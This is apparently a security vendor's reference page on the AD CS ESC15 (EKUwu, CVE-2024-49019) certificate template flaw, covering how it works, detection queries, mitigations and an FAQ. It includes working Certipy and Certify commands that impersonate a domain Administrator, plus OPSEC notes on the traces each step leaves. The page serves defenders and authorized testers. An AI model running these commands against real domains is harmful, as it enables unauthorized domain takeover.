1. Resources
  2. Identity Threats
  3. Active Directory

AD CS ESC15: EKUwu (CVE-2024-49019)

Also known as: ESC15, EKUwu, CVE-2024-49019, Application policy injection, Schema version 1 template abuse

On an unpatched CA, a user who can enroll in a schema version 1 template with a supplied subject adds application policies to the request and gets a certificate usable for logon.

Platform
Active Directory
Impact
Critical
Last updated
Attack difficulty
Low
Detection difficulty
Medium
Privileges required: Any authenticated identity
Enroll on a published schema version 1 template that lets the enrollee supply the subject, such as the default WebServer template, on a CA without the November 2024 update.
What the attacker gains
A certificate with injected Client Authentication or Certificate Request Agent policy: an LDAP session as any account, or an enrollment agent that requests certificates for others.
Threat groups
APT29NIMBUS MANTICOREAPT28APT32APT33BITTERBlackByteCobalt GroupFIN6FIN8HAFNIUMLAPSUS$MoustachedBouncerOilRigand 10 more in MITRE ATT&CKGroups that MITRE ATT&CK records using T1649, T1068.

How it works

A certificate says what it may be used for in two places. The Extended Key Usage (EKU) extension is the standard one. Application Policies (szOID_APPLICATION_CERT_POLICIES, OID 1.3.6.1.4.1.311.21.10) is a Microsoft extension that carries the same kind of list, and Windows components give it weight when it is present.

Schema version 1 templates are the original, fixed templates that ship with Active Directory Certificate Services: WebServer, User, Machine and others. They have no Application Policies setting of their own. Justin Bollinger of TrustedSec found that a CA without the fix for CVE-2024-49019 handles this badly: when a request for a version 1 template contains an Application Policies extension, the CA copies it into the issued certificate as it is. The template's EKUs still appear in the EKU extension, but the certificate now also carries whatever application policies the requester asked for.

On its own this needs one more thing to be useful: control over the identity in the certificate. That comes from templates that let the enrollee supply the subject (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT). A version 1 template with that flag, such as WebServer, was considered harmless because it only grants Server Authentication. With the injection it becomes an ESC1-style template:

  • Client Authentication (1.3.6.1.5.5.7.3.2). The attacker names the target in the subject alternative name and injects Client Authentication. Schannel evaluates Application Policies, so the certificate authenticates to LDAPS as the target. PKINIT evaluates only the EKU extension, so it cannot be used to request a Kerberos ticket directly.
  • Certificate Request Agent (1.3.6.1.4.1.311.20.2.1). The attacker injects the enrollment agent policy into a certificate for themselves and then uses it to request certificates on behalf of other users from a normal template, as in ESC3. Those certificates are ordinary logon certificates and work with PKINIT.

The site's research post Understanding ESC15 walks through the original disclosure and the template conditions.

Prerequisites

  • A CA that has not received the November 2024 security update for CVE-2024-49019.
  • A published template with schema version 1 and CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, with no manager approval or authorized signature requirement.
  • Enroll rights on that template for an account the attacker controls.
  • For the Client Authentication variant: a domain controller that accepts client certificates over LDAPS or StartTLS, and the target's SID where strong mapping is enforced.
  • For the Certificate Request Agent variant: a second template that allows enrollment on behalf of others for the target, and no enrollment agent restrictions on the CA that block the attacker.

Attack steps

For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.

1. Find candidate templates

Certipy flags version 1 templates with a supplied subject that the current user can enroll in:

certipy find -u 'alice@corp.example.com' -p '<password>' -dc-ip 192.0.2.10 -vulnerable -stdout

The template shows Enrollee Supplies Subject : True, Schema Version : 1 and ESC15 : Enrollee supplies subject and schema version is 1. Certipy adds a remark that the result depends on the CA's patch state, which it cannot read.

Certify 2.x:

Certify.exe enum-templates --filter-vulnerable --hide-admins

The LDAP filter for the template conditions:

(&(objectclass=pkicertificatetemplate)
  (!(msPKI-Enrollment-Flag:1.2.840.113556.1.4.804:=2))
  (|(msPKI-RA-Signature=0)(!(msPKI-RA-Signature=*)))
  (msPKI-Template-Schema-Version=1)
  (msPKI-Certificate-Name-Flag:1.2.840.113556.1.4.804:=1))

2. Variant A: inject Client Authentication and impersonate over LDAPS

Request a certificate that names the target and carries the injected policy:

certipy req -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
    -ca 'CORP-CA' -template 'WebServer' \
    -upn 'administrator@corp.example.com' \
    -sid 'S-1-5-21-1004336348-1177238915-682003330-500' \
    -application-policies 'Client Authentication'

Authenticate to LDAP over TLS with it:

certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10 -ldap-shell

Certipy opens an LDAP shell as CORP\Administrator. With Certify and PassTheCert on Windows:

Certify.exe request --ca SRV01.corp.example.com\CORP-CA --template WebServer --upn Administrator --sid S-1-5-21-1004336348-1177238915-682003330-500 --application-policy 1.3.6.1.5.5.7.3.2
PassTheCert.exe --server DC01.corp.example.com --cert-path cert.pfx --whoami

3. Variant B: inject Certificate Request Agent and enroll on behalf of the target

First obtain the agent certificate for the attacker's own account:

certipy req -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
    -ca 'CORP-CA' -template 'WebServer' \
    -application-policies 'Certificate Request Agent'

Then use it to request a logon certificate for the target from a normal template:

certipy req -u 'alice@corp.example.com' -p '<password>' \
    -dc-ip 192.0.2.10 -target 'SRV01.corp.example.com' \
    -ca 'CORP-CA' -template 'User' \
    -pfx 'alice.pfx' -on-behalf-of 'CORP\Administrator'

The result is a regular User certificate for Administrator, which PKINIT accepts:

certipy auth -pfx 'administrator.pfx' -dc-ip 192.0.2.10

Impact

Variant A gives an authenticated LDAP session as any account, including Domain Admins. From there the attacker can change group memberships, reset passwords, write delegation settings or grant themselves replication rights, the same options as Pass-the-Cert. Variant B gives real logon certificates for other users, with a TGT and the NT hash on first use.

The reach of the flaw came from its starting point. Issuing TLS certificates looks like a low-risk task, so Enroll on a template such as WebServer is the kind of right that is delegated without much review. Before the fix, every account that could request a web server certificate held a privilege escalation path to the domain. Certificates issued through the flaw before patching remain valid until they expire or are revoked.

OPSEC and artifacts

  • A normal-looking request to a low-interest template. The operator enrolls in a template they are allowed to use, and nobody watches WebServer issuance closely. The CA still logs event 4886 and event 4887 with the requester and, in the newer event version, the template and the subject alternative name. A web server template issuing a certificate whose SAN is a user principal name is the visible oddity.
  • The injected policy is in the certificate, not in the event. The issuance events do not list application policies. The certificate stored in the CA database does: its Application Policies extension contains usages the template does not grant.
  • Variant A leaves no Kerberos trace for the target. The LDAPS logon appears on the domain controller as a network logon, event 4624, for the target from the operator's address, and the directory changes made in the session are attributed to the target.
  • Variant B adds two more records. The on-behalf-of request appears on the CA as an issuance for the target that was requested by the attacker's account, and the certificate logon appears as event 4768 with certificate fields.
  • Files. The PFX files and Certipy's output stay on the operator's host.

Detection

  • Requester and name differ. The ESC1 signal applies unchanged: in 4887, a SubjectAlternativeName that names an account other than the requester.
  • User names in server certificates. For version 1 server templates, alert when the SAN contains a UPN or an @ at all. Web server certificates carry DNS names.
  • Database review for the patch gap. List certificates issued from version 1 templates with a supplied subject while the CA was unpatched and inspect their Application Policies extension. On the CA, certutil -view with a restriction on the template returns the request IDs to examine.
  • On-behalf-of issuance by unexpected agents. Any request signed by an enrollment agent certificate that did not come from the organization's enrollment agent template.
  • Template changes. A version 1 template gaining Enroll for a broad group creates the exposure: the certificate template modification rules.
  • Certificate logons by administrators who do not use certificates. The weak certificate mapping rules include the built-in Administrator obtaining a TGT with a certificate.
// Server template certificates whose subject alternative name looks like a user
WindowsEvent
| where EventID == 4887 and Provider == "Microsoft-Windows-Security-Auditing"
| extend Requester = tostring(EventData.Requester),
         Template = tostring(EventData.CertificateTemplate),
         San = tostring(EventData.SubjectAlternativeName),
         RequestId = tostring(EventData.RequestId)
| where Template =~ "WebServer"
| where San contains "@"
| project TimeGenerated, Computer, RequestId, Requester, Template, San

The CA events need the Audit Certification Services subcategory and the CA audit filter for certificate requests; the audit policy guide covers the domain controller side.

Mitigation

  • Patch every CA. Install the November 2024 or later cumulative update on all CA servers. This is the fix for CVE-2024-49019.
  • Restrict enrollment on version 1 templates with a supplied subject. Remove Enroll for broad groups. Give it to the specific servers or administrators that need it.
  • Replace version 1 templates. Duplicate them to version 2 or later templates, where application policies are a template setting, publish the copies and unpublish the originals.
  • Set the application policies on templates that lack them. Remediate-ESC15.ps1 lists templates whose msPKI-Certificate-Application-Policy attribute is empty and can set it to the same values as the template's EKUs, which its author describes as a mitigation for the injection.
  • Require approval on any template that accepts a supplied subject.
  • Restrict enrollment agents on the CA so that an agent certificate cannot be used for arbitrary users and templates.
  • Revoke what was issued through the flaw. After patching, review the database as described above, revoke suspicious certificates and publish a CRL.
  • Keep the CA in the Tier 0 patch cycle. The Active Directory hardening guide treats CA servers like domain controllers for patching and access.

Detection rules for this attack

Log events to collect

FAQ

What is EKUwu?

The name TrustedSec gave to CVE-2024-49019, also numbered ESC15. An unpatched CA copies an Application Policies extension from the certificate request into certificates issued from schema version 1 templates, even when the template does not grant those usages. The requester can so add Client Authentication or Certificate Request Agent to a template meant for web servers.

Which templates are affected?

Templates with schema version 1 that let the enrollee supply the subject. Several built-in templates fit, and WebServer is the usual example. Version 2 and later templates are not affected. The attacker also needs Enroll rights on the template, so real exposure depends on how enrollment was delegated.

Is ESC15 fixed?

Yes. Microsoft's November 2024 security updates for CVE-2024-49019 make the CA stop honoring requester-supplied application policies on these templates. The CA server is what needs the update. Templates that match the pattern should still be restricted or replaced, so the exposure does not depend on one patch.

Why does the injected certificate work for LDAP but not directly for Kerberos?

PKINIT on a domain controller evaluates only the Extended Key Usage extension, which the template still controls. Schannel, used for LDAPS, also evaluates the Application Policies extension, which the attacker injected. So the Client Authentication variant gives an LDAP session, and the route to a Kerberos ticket goes through the Certificate Request Agent variant.

References

Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.

Does this attack work in your environment?

Forestall maps every identity and the attack paths between them across Active Directory, Entra ID and cloud, read-only and agentless.